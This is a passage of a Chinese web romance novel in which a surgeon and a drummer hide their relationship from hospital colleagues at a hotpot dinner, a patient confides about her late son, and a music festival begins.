“可能是太久没做了?,有点不适应。” 他想了?想:“快一个?月了?,好?像是有点久。” 随口编的瞎话,结果不出意外地又把自己?带到沟里去了?。 “别说?话了?。”她没好?气。 他笑了?,笑声通过他微微震颤的胸膛传递到她耳朵里,闷闷的。 蝉鸣声不断,还有晚风的声音。 她仿佛在一只摇橹的小船上,整个?人晃晃悠悠晕晕乎乎的。 刚才那被聚集起来的小快乐渐渐膨胀、燃烧,就像有人在浴望的深渊里点了?一把火,让湿冷的她忍不住靠近,想要更?多的温暖。 那一瞬间,她忽然就理解了?为什么那么多人喜欢做这事,因为确实很快乐。 当一切重?新归于宁静,他俯下身?来亲吻她,撩开她汗湿的鬓发细细吻着她的耳垂。她偏着头看到窗外茂盛的枝桠在墨色天幕中轻轻摇摆,树枝上方是一牙细细的下弦月,月亮那么明亮孤寂,旁边的那颗星几乎被忽略。但仔细看,那其实是一副金星伴月的景象。 …… 第44章 第 44 章 她一边打着招呼,一边悄…… 周一一早, 两人一起出了门,怕在医院附近遇到熟人,所?以走的比平时?早了点, 可?是这天早上路上格外堵,快到医院时?也快到上班时?间了。 谢一菲让秦铮提前一个路口将她放下。 这一次秦铮没像以往一样二?话不说地照做,而是问她:“被?人看见能怎么样?” 谢一菲觉得他这是明知故问,也没当回事, 只催促他停车。 秦铮没再说什么,依言停了车,只不过在谢一菲下车后, 一句话也没说,直接将车子开走了。 这是又生气了?她不禁又想起何婷婷的话, 真怀疑她是赶上他每个月的那几天了。 正在这时?,一个熟悉的声音从身后传来。 “谢老师?你怎么在这?” 谢一菲无奈, 有些人真是不经念叨! 只能希望秦铮跑得够快, 何婷婷刚才什么也没看到。 她定了定神回头, 发现何婷婷正看着秦铮的车子离开的方?向:“刚才那个是老板的车吗?” “不是啊,是我叫的网约车。” 何婷婷啧啧称奇:“真是经济下行了,开这车的人也出来拉活!” 何婷婷又问谢一菲:“那你怎么在这就下车了?” “我……有点晕车。” 此时?的谢一菲无比认同那句话, 人一旦撒了一个谎,那就要无数的谎言来圆。 小姑娘点点头,终于不再“拷问”她了。两人边走边聊, 到科室的时?候,医生们已经开始准备查房了。 此时?的秦铮已经换上了白大褂。谢一菲走进科室时?, 他正蹲在走廊里和一个小男孩说话。 科里很少出现小孩,这孩子谢一菲也是第一次见,看着也就四五岁, 长?得很漂亮,巴掌大的小脸上一双黑又亮的眼睛水汪汪的,头发略长?,发尾卷曲,有点混血宝宝那味儿。 他说话奶声奶气的,看到秦铮身上的白大褂问他会不会给人打针。 秦铮笑?了。 谢一菲很少在秦铮的脸上看到这种?笑?容,是和煦的,温暖的。 他很怜爱地伸手摸了摸孩子的小脸,说他不会给乖孩子打针。 清晨的阳光从走廊尽头的玻璃窗内投射进来,为这一大一小的身影镀上了一层光晕。 谢一菲问何婷婷:“这是谁家的孩子?” 提到这个,何婷婷悠悠叹了口气:“这孩子我们都认识,挺可?怜的。” 原来这孩子的母亲得了乳腺癌,还是乳腺癌中比较严重的分型,之前外院的医生为她做了手术,但术后没多久就发现转移了。 何婷婷叹了口气:“那边的医生虽然没明说,但那意思就是听天由命,能活几天是几天。好在她自己很坚强乐观,后来辗转到了我们这里,老板一直都在积极寻找更适合她的治疗方?案,这段时?间没少联络业内专家会诊,也咨询了他美国那边的同学?……希望能有好的结果吧。” 谢一菲的脑中又浮现出了刚才看到的那个画面,一大一小,秦铮很温柔地摸着孩子的小脸。 她忽然想到那些说他冷漠的言论?,或许那才是对他最大的误解。 …… 几天后的早上,秦铮去内科开了个会,结束后经过化疗室时?,遇到了门外候诊的虞洁。 算算时?间,虞洁确实该进行第二?次化疗了。此时?长?椅上就坐着她一人,看着孤零零的。 秦铮走过去打招呼,虞洁不知道在想什么,直到他坐到了她身边,她才恍然抬起头来。 “秦医生,你怎么在这?” “我来开个会。来做化疗吗?怎么就您一个人,谢老师没陪您一起来吗?” “她工作?那么忙我没让她来,今天是护工刘姐陪我来的,她这会儿去上卫生间了。” 他们有段时?间没见了,秦铮从刚才起就在观察虞洁的状态,感觉她和出院时?很不一样,人看着很疲惫,没什么精神。而这种?情况对秦铮来说并不陌生。 他试探着问:“最近感觉怎么样,有哪里不舒服吗?” “那倒没有。”虞洁想了想说,“就是生了病以后感觉整个人都被?束缚住了,哪也不能去了,什么也不能干,觉得挺无聊的。” 秦铮若有所?思地点点头:“多和亲戚朋友聊聊天,或许能缓解。” 虞洁苦笑?:“我没什么朋友,也没什么家人。” 秦铮想到谢一菲说她中年丧子晚年丧夫这事,也有点后悔开启这个话题。 他笑?:“那您多和我聊聊也行。” 虞洁有点意外地看着他,似乎是不确定他说的是不是真的。 秦铮抬手看了眼时间:“我上午的工作?基本已经结束了,这会儿正好闲着没事。” 医生哪有闲着没事的时?候,他这么说只是为了让她没有心理负担而已。 虞洁感激地笑?笑?:“我儿子要是还在的话,也比你小不了几岁。” 说到这里,虞洁像是想起了什么,又叹了口气:“不过就算他还在,他应该也不会理我的。” 虞洁这话倒是让秦铮挺意外的,因为从谢一菲的只言片语中,秦铮感觉到虞洁和家人的关系应该挺不错的。或许,这个意外的发现就是她多年的心?病。 虞洁有点不好意思:“让你见笑了秦医生,对了,你和你母亲关系肯定很好吧?” 秦铮没想到她忽然问他这么个问题,一时?间不知道该怎么回答。 虞洁自顾自地说:“能把你教育得这么好的母亲一定是位很优秀的母亲,我猜你们关系肯定很好。不像我……” 秦铮:“谢老师跟我说过一些她读书?时?候的事,说您一直很照顾她,她也把您当亲人看。所?以在我和谢老师看来,您也很优秀,也一定是位好母亲。” 虞洁闻言却苦涩地笑?了笑?:“有些事一菲也不知道,所?以她才会这么想。” 秦铮也有点好奇她指的是什么事,能困扰她这么久,以至于成了她身上的病灶,而且身边最亲近的人也不知道。 “如果您愿意,可?以说给我听听。” 虞洁的视线停留在了空中的某一点上,像是在翻找着一些久远的记忆。 半晌,她说:“我丈夫是个好人,但好人也会犯错。如果这个错误没有被?人发现,可?能也就不了了之了,偏巧被?我儿子撞破了。” 虞洁没有说李青山犯了什么错误,但秦铮已经猜到了,不过他还是很意外,因为谢一菲说她导师和师母感情很好,而他自己看到的也是如此,没想到人人艳羡的美满婚姻背后,也有不足为外人道的心?酸。 “那时?候他刚上高中,正是青春叛逆期,接受不了他父亲是那样的人,但最让他失望的还是我的态度——他替我打抱不平,而我只想息事宁人。大概是我们这对父母真的很不称职吧,自那以后他说什么也不想留在家里了。我们只好遂了他的愿送他出国读书?。后来我听说他在国外过得也挺辛苦,我以为时?间长?了,他能想通,或者消气就会回来,可?我一等就是好几年,直到后来……我终于把他带了回来。”虞洁的声音哽咽起来,“他走得那么突然,我都没有问问他,是不是已经原谅我了……” 秦铮看着这个在自己面前默默垂泪的可?怜母亲,心?里五味杂陈。 沉默了许久,秦铮说:“我猜他已经原谅您了。” 虞洁闻言停止了抽噎,不解又期待地看着秦铮。 秦铮说:“他当初那么生气,是气您不够爱自己,是希望您能过得更好,既然是因为爱,那他知道您生病了,只能是心?疼,也会第一时?间回来陪在您的身边。” “是这样吗?”虞洁若有所?思,喃喃地问。 秦铮点点头:“是这样。” 或许是他的态度太笃定,也或许虞洁就差这句安慰,他的话让虞洁渐渐转忧为喜。 正在这时?,刘姐从卫生间回来了。 秦铮起身,对虞洁说:“后续治疗过程中身体有什么不舒服的,或者是心?情不好,都可?以找我聊。” 虞洁很感激:“谢谢你,秦医生。” 乳腺是情绪的靶向器官,八成的乳腺癌患者都有自己的心?结或者一段艰难的过往。 虞洁的前半生可?谓一帆风顺,有份不错的工作?,令人艳羡的婚姻,还有一个可?爱的儿子。可?是一切都在某一天发生了变化,她大概也怨也恨,但她因为害怕失去害怕改变,选择了隐忍甚至若无其事。她以为这件事会随着时?间的推移彻底过去,可?这件事却在她的身体里悄悄发酵,也让无法理解她的儿子和她越来越疏远,直至天人永隔。 走出内科大楼,一阵热浪袭来,北京的三?伏天比起很多南方?城市也不遑多让,但又有种?种?迹象昭示着这个夏天就快结束了。 而当夏天结束,谢一菲也该开学?了吧。 想到谢一菲,秦铮边走边拿出手机给她打了个电话。 电话接通,她那边声音很嘈杂,显然不是在家里。 他问她:“在干什么?” 谢一菲:“周末有演出,在排练。” 秦铮简单说了刚才遇到虞洁的事,但没有提起李青山夫妇之间的那些旧事。他想,斯人已逝,就让她心?里那个完美的李青山教授继续完美下去吧。 “我今天本来要陪她去的,她非说不用了,我就来排练了。” 秦铮:“你刚才说周末有演出,什么演出?” 说到这个,谢一菲似乎心?情不错:“有个音乐节这周末在延庆开幕,大概两天的时?间。对了,我正想问一下你的意见,以我师母现在的状态,我周末带她出去两天应该没问题吧?” “你要带她去看你的演出?” “有这个想法,听刘姐说她最近总是闷闷不乐的,就想带她出去走走。” 虞洁的世?界坍塌了,还好多年前善待过的女孩帮她撑起了这世?界的一角,这何尝不是一种?善有善报呢? “看她这次化疗后的反应,如果没有很不舒服,出去散散心?对她有好处。” “那太好了。”话说一半,谢一菲似乎想起了什么,问秦铮,“你呢?周末怎么安排?想去看我演出吗?” 听她这不情不愿的语气,就知道她这多半只是句客套。 秦铮:“我这周末有点忙,周六有手术,周日要开会。” 明明是她希望听到的结果,但也说不上为什么,她还是有点失落。 或许是因为他们这个周末没法见面了吧。 正在这时?,在她脑子里装了监控的男人说:“提前过周末吧。”. 立秋之后,北京终于有了点凉意。 谢一菲和秦铮商量好,晚上在她家吃火锅。 秦铮下了班去初涩接上谢一菲,然后两人一起到附近的大型商超采购火锅食材。 每到这时?候,超市门口都不好停车,为了节省时?间,谢一菲就让秦铮先去找车位,自己进去快速把东西?买好。 谢一菲:“我买好东西?给你打电话,你来出口接我就行。” 见秦铮看着车外某处,谢一菲也顺着她的视线看过去,没看到什么特别的。 “怎么了?” 秦铮回神:“好像看到个熟人。没事,你去吧,一会儿我进去接你。” 这家商超在谢一菲家附近,谢一菲以往经常来,对货品摆放位置很熟悉。 不一会儿,她就选好晚上要用的食材。想着秦铮以后可?能会常去她那,在经过日用商品区时?,她又挑了一些毛巾拖鞋之类的男士日用品。买完这些再看看时?间,秦铮估计已经停好车了。她看了眼结账通道的号码,发给了他。 不一会儿,轮到谢一菲结账时?,她忽然想起来家里的套套用完了,在收银员开始扫码后,她从架子上随手拿了一盒混在了那堆日用品里。 正在这时?,她听到有人叫她的名字。 她一回头,竟然看到何婷婷兴高采烈地正朝她小跑过来。难怪秦铮刚才说他看见了熟人,难道说的就是何婷婷吗?还好他没跟她一起进来。 她一边打着招呼,一边悄悄把那盒套套塞到毛巾下面。 “你怎么来这边逛超市?” 这里距离附院的研究生宿舍虽然不远,但也不近。 何婷婷说:“护士长?家住这附近呀。” 说着何婷婷回头看去,谢一菲这才看到拎着大包小包走过来的护士长?和护士小刘。 谢一菲暗叫糟糕,立刻拿出手机打算给秦铮发个微信让他先别进来,但是消息还没编辑好,护士长?和小刘就已经到了她面前。她们见到谢一菲都很惊喜。 护士长?问:“谢老师家也住这附近吗?” 谢一菲:“对,这里离我们学?校不远。” “我差点忘了,隔壁街就是B大了。”说着,护士长?扫了眼谢一菲的购物袋,“自己回家做饭呀?” 谢一菲下意识用身体挡了挡那两袋子东西?:“对,打算吃火锅。” 何婷婷惊喜道:“太巧了,我们也打算吃火锅,要不一起吧?” 护士长?也说:“对呀,一个人吃有什么意思?一起吧。” 她们都知道谢一菲是一个人住,自然而然觉得她是一个人吃。 谢一菲正想着要怎么拒绝护士长?的好意时?,她看到秦铮正穿越人群朝她们这个方?向走来。 第45章 第 45 章 “难得在这种地方见到秦…… 秦铮应该还没看?到她?, 像是正在人群中?寻找她?的身影。 或许是她?的表情太过明显了,没等?到她?回应的护士长顺着她?的视线转头看?去,然后就高兴地叫了声“秦医生”。视线中?的男人回过头来?, 先是惊讶,但很快便面色如常地朝她?们走来?。 何婷婷:“老板,您怎么在这?” 秦铮:“怎么哪都有你?” 何婷婷:“护士长儿子大学开学了,今天我和小刘护士刚好没饭吃, 就去护士长家?蹭顿饭。没想到在这里遇到了谢老师也打算回家?吃火锅,我们就一拍即合两?桌变一桌了!” 谢一菲无语,她?什么时?候答应“两?桌变一桌”了? 护士长调侃秦铮:“难得在这种地方见到秦医生, 看?来?这回这位美女是居家?型的呀!” 看?到谢一菲买火锅食材,即便她?买了那么多?, 护士长她?们也会觉得她?要一个人吃完。见到秦铮,即便他目前只是一个人, 她?们也觉得他是来?约会的。所?以说刻板印象最不可靠! 不过看?眼下这局面, 他俩想要“全身而退”恐怕是很难了。 生怕秦铮说错什么暴露了两?人的关系, 谢一菲抢在他开口前说:“秦医生还没吃饭吧?没吃的话就一起吧,正好我也买了好多?菜,我们几个肯定吃不完。” 谢一菲边说边在心里鄙视自己, 最近这段时?间,她?撒谎的功力越发炉火纯青了。 秦铮淡淡扫她?一眼,笑着对护士长说:“这做东的人还没开口, 我哪好意思?” 护士长闻言怔了怔,大概没想到一向不怎么合群的秦铮竟然真愿意和她?们几个女人凑热闹, 但很快就笑着说:“如果?不嫌弃我们这群电灯泡,那就叫上?美女一起吧。” 秦铮:“不嫌弃,不过就多?我一人。” 他没否认她?们是电灯泡, 也不否认有那么个美女,只说多?他一人。这种时?候还这么严谨的大概也只有秦铮了。 护士长更意外?了:“就你一个人?来?买东西?的?” 秦铮不置可否,自然而然接过谢一菲手里的袋子往出?走。 这么长时?间了,谢一菲才知?道护士长就住在她?隔壁的小区里。 这一带都是“老破小”,外?面看?环境很一般,但房子里面被护士长打理的很干净整洁。 几人简单分工处理了食材。护士长是四川人,拿出?从老家?带来?的秘制火锅底料切了一块丢进锅里,没多?久,锅里的汤水变成深红色,房间里也弥漫开椒麻的香味。 谢一菲问护士长:“你们不吃清汤锅的吗?” 护士长后知?后觉地抱歉道:“糟糕,忘了问谢老师能不能吃辣了!” 见她?为难,谢一菲连忙说:“我可以,我就是随口问问。” 说完,他有点担忧地看?了眼秦铮。而秦铮只是几不可查地牵了下嘴角。 护士长松了口气?:“那就好,不过我这是微辣,一般人都能吃。” 后来?谢一菲才明白,大家?对微辣的定义相差甚远。 她?这么能吃辣的人对护士长的“微辣”都肃然起敬,那秦铮呢?怕是今晚要饿肚子了吧。 但是让她?意外?的是,秦铮不但吃了,还吃得面不改色。 聊起今天的偶遇,何婷婷好笑道:“今天什么日子啊,一个超市里遇到那么多?熟人。” “除了我和秦医生,还有别人吗?“ 谢一菲本是随口一问,谁知?道何婷婷说:“有啊,张主任和他老婆来?逛超市被我们遇上?了,你说巧不巧?” 秦铮微微蹙眉,若有所?思。 谢一菲很意外?:“他结婚了?” 护士长冷笑:“那么大岁数了,结婚不也正常吗?” “我是说……”谢一菲忽然不知?道怎么开口,毕竟张涛追李灿那事也是道听途说。 护士长立刻明了她?的意思:“你肯定好奇为什么他有老婆还追李医生吧?” 一句话被人道破这点八卦心思,谢一菲有点不好意思。 护士长拍了拍她?手臂说:“不怪你会这么想,有的男人就是这样,也不看?看?自己什么样,吃着碗里的还要看?着锅里的。” 何婷婷问:“那李医生为什么不拒绝他?” 护士长说:“应该是拒绝过了,但可能拒绝的方式比较客气?吧,毕竟张涛那人小心眼,得罪他以后在科里也不好混。李医生这人咱不评价,但她?能看?上?张涛什么呀?看?上?他年纪大有老婆,还是他又矮又胖人品差啊?真给我们四川人丢脸!而且……” 说着护士长收起愤愤的神?色,暧昧地看?了眼秦铮:“李医生心里早有人了……” 秦铮无奈道:“道上?的规矩不是不八卦在场的人吗?我都坐在这了,怎么还能八卦到我头上??” 众人笑了。 何婷婷又说:“可我有段时?间总觉得他俩身上?有一样的香味。” 护士长问:“什么样的香味?“ 何婷婷若有所?思:“有点像蚊香液的味道,但比那个好闻点。” 护士长无语:“妹妹,有没有可能那就是蚊香液的味道呀,他俩一间办公室。” 何婷婷豁然开朗:“对呀,我怎么没想到呢?说起来?,之前有段时?间,谢老师和老板身上都有红花油的味道,我还怀疑了半天呢哈哈,看?来是我八卦嗅觉太敏锐了。” 秦铮:“我看是我给你作业留少了。” 大家?都笑了。谢一菲却后怕地出?了一身冷汗。那段时?间,她?总被叫去他办公室擦药,每次她?都是趁着大家?中?午午休的时?候,以为没人发现,结果?还是差点露馅。 何婷婷:“那这种情况的话,他俩在一间办公室,李医生岂不是很惨?” “放心吧,她?才不会让自己吃亏呢。”说着,护士忽然问小刘,“怎么了?” 谢一菲这才发现,自从他们说起张涛,小刘的笑容就有点不自然。 她?看?了看?众人,不确定地问护士长:“今天那人真是张主任的老婆吗?” 护士长不明所?以:“对啊,早些年他经常带他老婆参加科里的聚会,这几年少了。但我不会认错的。” 何婷婷也说:“对,我也见过几次,不会认错的。” 小刘蹙眉琢磨了一下,最后像是下定了很大决心似的说:“可是半年多?以前,我在医院的停车场撞见过他和另一个女人。” 这句话的信息量实在有点大,何婷婷兴致勃勃地催促:“快说快说,然后呢?” 小刘看?了眼在场唯一的男士,有点不好意思,但还是忍不住说道:“那天轮我值夜班,我男朋友非要来?给我送夜宵,我想给他节省点时?间,就出?去拿了。回去的时?候路过停车场,发现有一辆车在动……” 说到这里,在座所?有人都已?然了解发生了什么事了。 何婷婷激动不已?:“那你怎么看?到里面人是谁的?” 小刘:“我认得张主任的车。所?以我也怕车里的人看?见我,我就躲起来?了。” 何婷婷无语道:“这就是你多?虑了,人家?忙着呢,哪顾得上?看?你?!” 两?个小姑娘你一言我一语的,小刘也不觉得害羞了:“其实我当时?也是好奇嘛,想看?看?。过了一会儿,他们就结束了,两?人从后排下来?,坐去了前排,然后就开车走了。” 何婷婷:“你就是这时?候看?到那女的的?” “对,我之前就听护士长说张主任有老婆,我还以为那是他老婆,觉得那是人家?夫妻俩的事,我还偷看?,所?以也没跟其他人说。” 护士长白她?一眼:“你见过谁家?老夫老妻的去单位车库里搞的。” 小刘吐吐舌头:“我这不是也不了解老夫老妻的状态嘛。” 小刘:“其实我之前在门诊也见过那女的,张主任和那女的前后脚从一间换药室里出?来?,我当时?以为是患者或者家?属,就没当回事。” 护士长蹙眉:“这人应该不是患者家?属,更不可能是患者,但如果?和医院没关系,他频繁把人带到医院里来?瞎搞,什么道理呀?” 经护士长这么一提醒,谢一菲也觉得有点奇怪:“会不会是其他科室的医生护士?” 小刘摇摇头:“反正我没见过。” 何婷婷:“这事发生在半年前,可我记得他从我入学就开始追李医生了。有老婆,有情人,还追同事,他也太不要脸了吧!” 护士长一副过来?人的口吻说:“这就是你少见多?怪了,在医院待久了,你就知?道这事不少见了。” 一直沉默着的秦铮忽然开口了:“这就是您的偏见了啊。” 护士长这意识到自己把秦铮也给骂进去了,笑着说:“那张胖子和我们秦医生当然没法比了,他那是下流,我们秦医生最多?就是风流了点。” “啧,我怎么听着不像好话呢?” 护士长无所?谓地耸耸肩:“咱都自己人,实话实说嘛,但你放心,如果?哪天你把姑娘带到我面前,我肯定不这么实话实说。” 秦铮想说什么,但最终也只是无奈地瞥了眼谢一菲。 感受到他投过来?的视线,谢一菲莞尔。 护士长对两?个小姑娘说:“总之,在我们同行里找对象的风险极高,建议你俩能不找同行就不找同行。” 何婷婷:“小刘有男朋友了,我还单着呢,可我每天接触的除了患者就是同行了。” 话说一半,她?似乎是想到了什么眼前一亮,殷勤地夹了块肉放在谢一菲的盘子里:“看?来?我的终身大事只能拜托谢老师了,你们学校男生那么多?,帮我琢磨琢磨呗,最好是高大威猛的体育生!” 护士长笑:“你谢老师自己的问题还没解决呢,这个就别指望了。” 谢一菲尴尬笑笑。 小刘偷瞥她?一眼说:“我看?不一定吧。” 众人都不明所?以,谢一菲的笑容僵在了脸上?。 第46章 第 46 章 “东西都买了,总要用吧…… 小刘看向门口的购物袋, 那是谢一菲今天在超市买的东西,火锅食材都摆在桌上了,剩下的只有一些男士日用品, 还有那盒套套,因为刚才从里面拿东西的缘故,它掉出来了一点,还好盒子的大部分还藏在毛巾里, 光凭露出来的那一角也看不?出什么来。 小刘:“谢老?师买了那么多男士用品,是不?是已经有男朋友了?” 这个问题在谢一菲的意料之外,所以她一时没想好是该承认还是否认。 承认的话, 她怕她们刨根问底,她多说多错最?后一定会露馅, 可是否认的话她也没什么底气说出来…… 此时,护士长、小刘和何婷婷都目光灼灼等?着听她的八卦, 秦铮微垂着头?扒拉着盘子里的菜, 虽然没有看她, 但她能感觉到,他也在等?那个答案。而且,刚刚见识过他的“严谨”, 她也不?想撒谎。 “有,就是还不?稳定,所以就没跟大家说。” 众人?一听就明白?了, 都很识趣的没有追问。 护士长转而看向秦铮:“那秦医生呢?还单着吗?实?在找不?到合适的,不?行就跟我妹凑合凑合吧, 她可一直惦记着你呢!” 秦铮无奈:“是不?是因为我今天空手?来的,怎么感觉您今天对我意见很大呢?” 护士长白?他一眼:“我妹有你说的那么差吗?” 秦铮:“您看您又过分解读了。” 众人?都笑了。 护士长:“那你好好坦白?,你现在到底什么情况?” 众人?都安静下来, 等?着秦铮说话。 秦铮顿了顿说:“和谢老?师一样。” 这个答案让谢一菲的心再度提到了嗓子眼。他回答他的就好,为什么非要cue她呢? 好在其他人?并没有察觉到异样。 护士长说:“哪有一上来就稳定的关?系?都是从不?稳定发?展来的!那姑娘什么样?” 可能因为和秦铮更亲近一点,护士长在面对他时并不?像对谢一菲那么客气。 秦铮没有立刻回答,像是在斟酌措辞。然而他每沉默的一秒,都是对谢一菲漫长的折磨。生怕他再说出什么不?能收场的话,谢一菲在他即将开口时在桌子底下踹了他一脚。 秦铮抬起头?来,似乎终于?找到了合适的措辞:“她好像总是很忙。” 何婷婷:“老?板你不?会是棋逢对手?遇到渣女了吧?” 众人?都忍俊不?禁,只有谢一菲笑得很假,他到底有没有接收到她的警告?! 秦铮若有所思:“还真不?好说。” 护士长对他先前那个问题的回答明显很不?满意。 护士长:“先不?说这个,我是问那姑娘哪的人?,干什么的,模样怎么样?” 每个问题都很具体,按照秦铮那“严谨”的态度和何婷婷那敏锐的嗅觉,他们离暴露几乎就是一步之遥了。 这回依旧是不?等?他开口,谢一菲又狠狠地踹了他一脚。 “哎呀。”何婷婷低头?去看桌子底下,“谢老?师你怎么总踹我?” 谢一菲傻眼了,难怪秦铮这家伙一点反应都没有,原来她两次都踹错人?了。 她连忙道歉:“可能坐的时间太长了,膝盖不?舒服,就想活动活动,抱歉抱歉。” 何婷婷一边揉腿一边小声抱怨:“你那不?像膝盖不?舒服,像是牟足了劲儿狠踹呐!” 护士长和小刘闻言都开始关?心何婷婷有没有事。只有罪魁祸首心情很好地笑了. 吃完火锅的时候差不?多快十点了,小刘被护士长留下来过夜,谢一菲就住在隔壁小区,不?行回去就可以,何婷婷便自然而然地跳上了秦铮的车,让他顺路捎她一程。 秦铮看了她片刻,无奈发?动车子,但路上还是忍不?住嫌弃自己?这独苗学生:“你以后能不?能有点边界感?” “什么边界感?” “我是男导师,你是女学生。” 何婷婷:“所以我坐后排呀。” 秦铮真怀疑自己?当初是不?是全麻没醒,竟然能在一众学生中选到这么个活宝. 谢一菲本来都打算睡了,门铃又响了。 不?用猜也知道是谁,八成是送完何婷婷又专程返回来的秦铮。 但他害她担惊受怕了一晚上,最?后还出了个大糗这事她还没忘。 打开门,她并没有放他进来的意思。 秦铮上下扫了她一眼:“什么意思?” “我打算睡了。” 秦铮:“正好,一起。” 说完他将她推进门,然后还不?等?她反应过来直接像抱孩子一样将她抱起:“东西都买了,总要用吧。” 这个流亡民,原来他早就看到了! …… 与乳腺癌患者打交道的这几个月里,谢一菲越发?能感受到人?生的无常,而师母的病更是印证了这一点。有人说如果不能控制生命的长度,那就去拓展生命的宽度。人?生往后生活的每一天都无比珍贵,她希望师母能体验更多新?鲜的、有趣的东西。 去音乐节,让师母看她演出,是谢一菲计划中的第一项。 周六一早,谢一菲带着虞洁和刘姐打车去往延庆。 或许是许久没出门了,也或许是对谢一菲的演出格外期待,虞洁的精神?头?明显比之前好。 虽然两个多小时的车程,但好在有刘姐一路悉心照顾,又是走走停停,到达举办音乐节的绿地公?园附近的酒店时,虞洁虽然有点累,但精神?状态还不?错。 音乐节的开始时间是下午一点,谢一菲把一位工作人?员的联系方式给了刘姐,那位工作人?员可以带着他们直接 从员工通道进场。VIP区域里的充气沙发?和阳伞她也都提前让人?准备好了。 安排好师母她们,谢一菲赶去和乐队的其他成员汇合。 武哥他们已经提前到了,正在做演出前的最?后准备。 此时,场地内只有工作人?员。舞台前的草坪上还是空荡荡的,但是她知道,这里很快就会聚满热爱音乐的人?。 以往,谢一菲也参加过音乐节,但是这还是头?一次以鼓手?的身份来参加。 王林问:“紧张吗?” “还好。” “就是,用不?着紧张。今天的嘉宾名单看到了吧?都是大腕儿,咱纯白?最?名不?见经传,唱得怎么样根本没人?关?心,所以完全不?用有压力。” 谢一菲笑了,这话成功安抚了她,但是她知道王林和乐队成员为了今天的演出付出了多少,大家嘴上不?说,但对这样的机会还是非常看重的。 一点过后,开始有人?陆续入场。 一眼望去,都是二十几岁的年?轻人?,虞洁和刘姐在他们当中简直就是另类。 谢一菲起初还担心师母不?适应这样的环境,但看她脸上一直挂着笑容,又是一副对什么都新?鲜的模样她总算放心了。 重量级的明星嘉宾往往安排在后半场,前面出场的都是些不?那么大众的乐队。就像王林说的,这其中最?名不?见经传的就是纯白?了。 …… 秦铮周六上午的手?术是临时加的,八点上手?术台,差不?多十点就结束了。 离开手?术室时,宋良约他中午一起吃饭。 他看了眼时间,犹豫了一下问宋良:“你去过音乐节吗?” 宋良一听“音乐节”几个字立刻来了精神?。 巧巧的微信他有,这两天她的朋友圈几乎都是和音乐节有关?的内容。他早上进手?术室之前还看到她说什么出发?了。 “去过啊,那绝对是逃离社畜牢笼,情感宣泄的好地方!而且美女特别多,你没去过的话真该去见见世面!” 说着,宋良拿出手?机,找到朋友圈里那张音乐节的宣传海报,时间是今天下午一点,地点在延庆。 “走吧。”秦铮说。 “去哪?”宋良一时没反应过来。 “去见你说的世面。” 宋良虽然很想看兄弟的热闹,但前提是不?用付出什么代价。 宋良也做了一上午的手?术,这会儿还没缓过来。 坐在秦铮车上时,他还在骂骂咧咧:“音乐节有两天,你想去明天再去,何必这么赶?!” “明天我要开会。” “那你既然想去你就早准备啊,这票都售罄了……等?等?,你不?会已经有票了吧?” “没有。” “那瞎折腾什么?赶过去也进不?到里面……要不?我问问巧巧,看看她一会儿能不?能把咱们带进去……” 话没说完就感到了某人?凉凉的视线。 宋良只好把拿起来的手?机又放下:“我懂我懂,要矜持,要给人?惊喜。” 说完还不?忘放低声音补充了一句:“死要面子活受罪!” 他说的没错,所以秦铮就当没听见:“肯花钱不?怕进不?去。” 其实?秦铮心里并没有他说得那么笃定,但是他也不?知道自己?是怎么了,脑子一热,就已经在路上了。 “呵!”宋良嘲讽一笑,不?再说话。 他们赶到的时候,检票处外已经是人?山人?海了,秦铮光找车位就找了半个多小时。 还好这种地方最?不?缺黄牛,没多久,宋良就和一人?谈好,多给了几百,直接带他们去VIP区。 秦铮没想到,所谓的VIP区也会有这么多人?,而且几乎每人?都准备了充气沙发?、阳伞、吃的喝的……一副打算长久“奋战”的架势。对比之下,他和宋良两人?往这一站显得极其格格不?入。 所幸这里离舞台很近,他应该可以看到她。 等?了没多久,演出正式开始。 这是秦铮以往从未体验过的。台上乐队激情洋溢,台下数万人?热情互动。周遭的空气都是沸腾的,所有人?都异常的亢奋,这样的场面不?可谓不?震撼。 秦铮看向身边的宋良,他正脑袋随着音乐一点一点,手?里举着手?机拍照。 秦铮好奇问他:“这乐队你知道?” “不?知道啊。”宋良扯着嗓子回应,“入乡随俗嘛!” 第47章 第 47 章 “你是什么时候开始走起…… 几首曲子过后, 这支乐队在?主持人的引导下?简单地和台下?观众互动之后离开了舞台。 周遭短暂地安静了下?来。 宋良扯了扯秦铮:“来这的也?不?都是年轻人,你看那边儿!” 秦铮顺着宋良的视线看过去,几乎是离舞台最近的充气沙发上坐着两个人。其中一个头发斑白, 已经是阿姨辈的人了,陪在?她身边的人也?没比她年轻多少。 是虞洁和刘姐。 正在?这时,她们忽然激动地站了起来。秦铮顺着她们的视线看向台上,又一支乐队走上了台。 所有人的注意力?都被?一袭白色长裙的主唱吸引着, 但从他们上台的那一刻起,秦铮的视线里就只有谢一菲一个人。 谢一菲的风格与巧巧截然不?同,她穿着最简单的无袖背心和休闲裤, 一头段子般的黑色长发披散开来,没有任何装饰, 只戴着顶棒球帽,宽大的帽檐把她本?就巴掌大的脸又遮去了一半, 只露出一个尖尖的下?巴。 这么高调的场合, 这么低调的装扮, 也?只有她了。 “咦,他们这乐队的鼓手什么时候换了个姑娘,够飒的哈。不?过这姑娘怎么看着有点眼熟呢?” 秦铮有点惊讶地看向宋良:“你在?这方面不?是号称过目不?忘吗?” 宋良显然没领会他的意思, 解释说:“初涩那光线又不?好,再说谁会注意到犄角旮旯里的鼓手换了人啊?!” 秦铮了然笑笑。 宋良没见?过谢一菲几次,距离最近的一次也?是在?光线昏暗的KTV, 加上她平时的风格和在?舞台上是完全不?一样的,隔着这么远, 宋良没认出她也?正常。 “我说秦医生,你这眼睛都看直了啊!”宋良笑着调侃秦铮,“不?过咱们巧巧今天确实很亮眼啊!” 秦铮不?置可否。 宋良说:“我今天才知道他们这个乐队叫‘纯白’, 难怪巧巧今天穿了件白色连衣裙,不?走妩媚风改走清纯风了,我还挺不?习惯的,不?过别有一番风味哈!” 在?秦铮的记忆里,也?有那么一件白色连衣裙……明?明?是再简单不?过的款式,可是这么多年来一直让他印象深刻,甚至那裙子上的每一个褶皱他都记得清清楚楚。在?这过去的十年里,他总能?在?某个瞬间想起那条裙子。他以为他是偏爱姑娘那么穿,后来才渐渐意识到,或许只是当初那个穿裙子的人对他而言是与众不?同的. 音乐节是很好的展示机会,纯白作为新生代乐队被?分?配了四首曲目的表演时长。 